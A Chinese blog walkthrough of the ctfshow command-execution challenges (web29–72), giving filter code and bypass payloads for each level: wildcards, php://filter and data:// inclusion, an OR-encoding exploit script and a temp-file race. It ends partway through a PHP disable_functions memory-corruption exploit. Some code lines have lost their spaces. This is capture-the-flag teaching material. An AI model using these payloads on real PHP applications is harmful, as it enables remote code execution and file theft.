溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

php中如何進(jìn)行ctfshow命令執(zhí)行

發(fā)布時(shí)間:2021-10-18 10:53:44 來源:億速云 閱讀:254 作者:柒染 欄目:網(wǎng)絡(luò)管理

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)php中如何進(jìn)行ctfshow命令執(zhí)行,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。


web29~過濾關(guān)鍵字

命令執(zhí)行,需要嚴(yán)格的過濾

源碼:

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
  • preg_match — 執(zhí)行匹配正則表達(dá)式

題目限制了不能出現(xiàn)flag.

構(gòu)造?c=system(ls);頁面回顯:

flag.php index.php

繞過 flag ,通配符繞過。

linux 中有一些通配符。

*代表任意字符 0個(gè)或多個(gè)

?代表任意字符 1 個(gè)

[abcd]匹配abcd中一個(gè)字符

[a-z]匹配范圍 a-z

還可以這樣繞過

fla\g.php
fla''g.php

payload :

?c=system('cat *');
?c=system('cat fl?g.php');
?c=system('cat f[a-z]ag.php');

執(zhí)行 payload 后源代碼中有顯示。

另一種解法:

  • eval — 把字符串作為PHP代碼執(zhí)行

php中如何進(jìn)行ctfshow命令執(zhí)行

傳入?c=echo "hello";?><?php system(ls);看到有flag.php ,利用文件包含。

構(gòu)造:

?c=echo "hello";?><?php include($_GET['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64 字符串,解碼得到

<?php

$flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}';

web30~增加命令執(zhí)行函數(shù)

命令執(zhí)行,需要嚴(yán)格的過濾

代碼:

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

在上一題的基礎(chǔ)上增加了過濾。flag、system、php

但是我們依然可以用到其他函數(shù)進(jìn)行代替。

system()
passthru()    # passthru — 執(zhí)行外部程序并且顯示原始輸出
exec()        # exec — 執(zhí)行一個(gè)外部程序  
shell_exec()  # shell_exec — 通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。
popen()
proc_open()
pcntl_exec()
反引號 同shell_exec()

這里需要注意一下,只有system函數(shù)是有回顯的,其他的函數(shù)可以通過echo等顯示

?c=echo passthru("cat f*");
?c=echo `cat f*`;

或者

?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

題目wp:

echo `nl fl''ag.p''hp`;

web31~過濾cat,空格

命令執(zhí)行,需要嚴(yán)格的過濾

源碼:

<?php
    
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

1. cat被過濾

more:一頁一頁的顯示檔案內(nèi)容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時(shí)候,順便輸出行號
od:以二進(jìn)制的方式讀取檔案內(nèi)容
vi:一種編輯器,這個(gè)也可以查看
vim:一種編輯器,這個(gè)也可以查看
sort:可以查看
uniq:可以查看
file -f:報(bào)錯(cuò)出具體內(nèi)容
grep  在當(dāng)前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,并打印出該字符串的行。此時(shí),可以使用如下命令: grep test *file
paste  指令會把每個(gè)文件以列對列的方式,一列列地加以合并。

2. 空格被過濾·

{$IFS}   $IFS$9
> < <> 重定向符
%09(需要php環(huán)境)
{cat,flag.php} //用逗號實(shí)現(xiàn)了空格功能
%20  
https://blog.csdn.net/whuslei/article/details/7187639

payload:

?c=echo(`tac%09f*`);

解法二:

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

官方

show_source(next(array_reverse(scandir(pos(localeconv())))));

web32~文件包含繞過

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又增加過濾了 反引號、括號,echo。

文件包含繞過

include
require
include_once
require_once

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~文件包含繞過

源碼:

<?php


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多過濾了一個(gè)雙引號,

直接用上一題的 payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34~文件包含繞過

源碼:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

過濾多了一個(gè)冒號,也是上一關(guān)payload 。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35~文件包含繞過

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多過濾了<、=。沒啥用,直接打

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36~文件包含繞過

<?php

error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多過濾了數(shù)字,繼續(xù)打。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37~data協(xié)議

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo$flag;

}

}else{
highlight_file(__FILE__);
}

過濾了flag ,又是 include 文件包含

利用偽協(xié)議讀flag

data://,可以讓用戶來控制輸入流,當(dāng)它與包含函數(shù)結(jié)合時(shí),用戶輸入的data://流會被當(dāng)作php文件執(zhí)行

payload:

/?c=data://text/plain,<?php system(ls);
# https://www.php.net/manual/zh/wrappers.data.php

?c=data://text/plain,<?php system('cat f*');

web38~data協(xié)議

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

同樣使用data協(xié)議。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39~data協(xié)議

<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload:

?c=data://text/plain,<?php system('cat *');?>

data://text/plain, 這樣就相當(dāng)于執(zhí)行了php語句 .php 因?yàn)榍懊娴膒hp語句已經(jīng)閉合了,所以后面的.php會被當(dāng)成html頁面直接顯示在頁面上,起不到什么 作用

web40~無參數(shù)讀文件

<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

過濾了引號、$、冒號,還不能用偽協(xié)議。

一般括號里參數(shù)都要用引號,這里學(xué)習(xí)一下無參數(shù)RCE(remote command/code execute)。

無參數(shù)的意思可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數(shù)。

詳情看這里:

payload:

c=readfile(next(array_reverse(scandir(getcwd()))));

# 多刷新幾次
c=readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp:
c=session_start();system(session_id());
passid=ls

web41~異或繞過

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

這個(gè)題過濾了$、+、-、^、~使得異或自增和取反構(gòu)造字符都無法使用,同時(shí)過濾了字母和數(shù)字。但是特意留了個(gè)或運(yùn)算符|。我們可以嘗試從ascii為0-255的字符中,找到或運(yùn)算能得到我們可用的字符的字符。這里先給出兩個(gè)腳本 exp.py rce_or.php,大家以后碰到可以使用或運(yùn)算繞過的可以自己手動(dòng)修改下即可。生成可用字符的集-合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大體意思就是從進(jìn)行異或的字符中排除掉被過濾的,然后在判斷異或得到的字符是否為可見字符傳遞參數(shù)getflag用法python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #沒有將php寫入環(huán)境變量需手動(dòng)運(yùn)行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

https://blog.csdn.net/miuzzx/article/details/108569080

web42~</dev/null無過濾

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

payload:

c=ls;
c=cat flag.php;

web43~</dev/null過濾分號cat

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾分號和cat使用 換行符%0a

?c=ls%0a
?c=tac flag.php%0a

說一下為啥system()函數(shù)要用的分號或者截?cái)?,因?yàn)椴挥玫脑捿斎氲恼Z句就和后邊的>/dev/null 2>&1拼接起來了。最后不關(guān)輸入啥都會把結(jié)果輸出到/dev/null。

詳情看這里: https://www.cnblogs.com/520playboy/p/6275022.html

web44~>/dev/null過濾; cat flag

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

過濾;cat、flag

結(jié)合前面的,直接:

?c=tac f*%0a

web45~>/dev/null多過濾空格

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了個(gè)空格。

payload:

?c=tac%09f*%0a

?c=tac$IFS\f*%0A
# 這里 f 前面不加 反斜杠的話就出不來,可能是會被前面的解析到一起吧。
?c=more${IFS}f*%0a

IFS: https://www.xuebuyuan.com/3197835.html

web46~多過濾數(shù)字 $ *

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了數(shù)字、$ 、*

意味著不能用shell中變量了。

payload:

?c=tac%09fla?.php%0a

nl<fla''g.php||

?c=tac<fla\g.php||

web47~多過濾讀取函數(shù)

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了 more 、less 、 head 、sort 、tail 。

但是 tac 、od 、uniq 等沒被過濾

od 讀文件 https://www.cnblogs.com/wfwenchao/p/5188720.html

payload:

?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nl<fla''g.php||

web48~多過濾函數(shù)

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾了一些讀取函數(shù)。

payload:

?c=tac%09fla?.php%0a

?c=tac<fla''g.php%0a

web49~多過濾反引號

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾反引號。

payload 同上關(guān)一樣。

web50~多過濾% x09 x26

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多過濾%、0926

?c=tac<fla''g.php%0a

?c=tac<>fla\g.php%0a

web51~多過濾tac

<?php

sset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

這回額外過濾了tac,但是我們還可以用nl

?c=nl<fla\g.php%0a

web52~多過濾重定向符但沒過濾 $

<?php

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c.">/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

額外過濾了 重定向符<  >,但是這里沒過濾$

去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一個(gè)假的flag.

查詢根目錄有啥文件

?c=ls${IFS}/%0a
# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 

?c=nl${IFS}/fla''g%0a

web53

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

也沒多過濾啥。。

?c=ls%0a得到

ls flag.php index.php readflag
readflag

payload:

?c=ls%0a
?c=nl<fla''g.php%0a

web54~/bin/?at 繞過

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

多過濾了一些查看文件指令。

payload:

?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f???????

web55~過濾所有小寫字母

<?php

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

直接過濾了所有小寫字母?。?!。

那么這里肯定是要無字符 rce 。

但是這里沒有過濾通配符,所以可以找到一個(gè)帶有數(shù)字的命令,利用通配符執(zhí)行命令。

  1. base64的使用

    有個(gè)命令是/bin/base64,我們可以據(jù)此構(gòu)造

    ?c=/???/????64 ????????

    得到

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs=

    解碼即得到flag.

  2. bzip2

    bzip2 是 linux 下面的壓縮文件的命令。在/usr/bin/bzip2

    構(gòu)造

    ?C=/???/???/????2 ????????

    然后訪問flag.php.bz2下載即可獲得 flag.php

  3. 臨時(shí)文件上傳

    https://www.gem-love.com/websecurity/1407.html

    https://blog.csdn.net/qq_46091464/article/details/108557067

web56~臨時(shí)文件

<?php

// 你們在炫技嗎?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

多過濾數(shù)字,所以用不了上題的前兩種方法。這里只能詳細(xì)寫一下上題的第三種方法了。

我們可以通過post一個(gè)文件(文件里面的sh命令),在上傳的過程中,通過.(點(diǎn))去執(zhí)行執(zhí)行這個(gè)文件。(形成了條件競爭)。一般來說這個(gè)文件在linux下面保存在/tmp/php??????一般后面的6個(gè)字符是隨機(jī)生成的有大小寫。(可以通過linux的匹配符去匹配)注意:通過.去執(zhí)行sh命令不需要有執(zhí)行權(quán)限

我們需要構(gòu)造一個(gè)post上傳文件的數(shù)據(jù)包。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數(shù)據(jù)包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當(dāng)前打開的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

抓包,構(gòu)造?c=.+/???/????????[@-[]

php中如何進(jìn)行ctfshow命令執(zhí)行

web57~構(gòu)造數(shù)字

<?php

// 還能炫的動(dòng)嗎?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

這里只需要構(gòu)造 傳參 36 即可,但是數(shù)字字符都被ban了。

paylaod

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile讀取

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

post構(gòu)造c=system('ls');結(jié)果

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函數(shù)被 ban了

Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

構(gòu)造c=print_r(scandir('.'));.得到

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

payload:

c=readfile('flag.php');

web59~show_source讀取

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

同上關(guān)但是,

Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

嘗試其他讀取文件函數(shù)

c=show_source('flag.php');

web60-65~show_source讀取

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload:

同58一樣

web66~highlight_file讀取

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

用以前方法

Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=highlight_file('flag.php');結(jié)果

$flag="秀秀得了,這次不在這里";

c=print_r(scandir('/'));返回

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

有個(gè)flag.txt ,構(gòu)造 payload:

c=highlight_file('/flag.txt');

web67~var_dump打印

<?php

// 你們在炫技嗎?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

找目錄,發(fā)現(xiàn)

Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

c=var_dump(scandir('.'));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" }

c=highlight_file('flag.php');又是假的。

最終

c=highlight_file('/flag.txt');

web68~include讀取

打開題目直接

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

說明highlight_file函數(shù)被禁用了。

c=var_dump(scandir('/'));得到

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

有個(gè)flag.txt

readfileshow_source、highlight_file被禁用了.

讀取不了,但是我們還可以直接文件包含。

payload:

c=include('/flag.txt');

web69~var_export打印

同樣是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
  • var_export — 輸出或返回一個(gè)變量的字符串表示

c=var_export(scandir('/'));得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:

c=var_export(scandir('/'));`
c=include('/flag.txt');

web70~var_export+include

直接:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天嗎?

payload:

c=var_export(scandir('/'));
c=include('/flag.txt');

web71~exit(0); 繞過后邊代碼

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天嗎?

c=var_export(scandir('/'));得到

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天嗎?

......發(fā)現(xiàn)有個(gè)附件,下載打開:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天嗎?

代碼把輸出的字母數(shù)字都轉(zhuǎn)換為問號?.

我們可以是服務(wù)端執(zhí)行完我們的惡意 payload 后就停止運(yùn)行 php 程序。

所以可以c=var_export(scandir('/'));exit(0);使得后邊的代碼停止執(zhí)行,從而不會被正則替換。

payload:

c=var_export(scandir('/'));exit(0);
c=include('/flag.txt');exit(0);

web72~open_basedir

下載附件:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c=$_POST['c'];
eval($c);
$s=ob_get_contents();
ob_end_clean();
echopreg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

你要上天嗎?

執(zhí)行c=include('flag.php');exit(0);沒內(nèi)容打印。

有進(jìn)行讀取根目錄文件,但是被 open_basedir限制.

進(jìn)行繞過。

c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();

得到根目錄文件

bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

flag0.txt.

Warning: include(): Failed opening '/flag0.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1

exp:

<?php
pwn("cat /flag0.txt");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
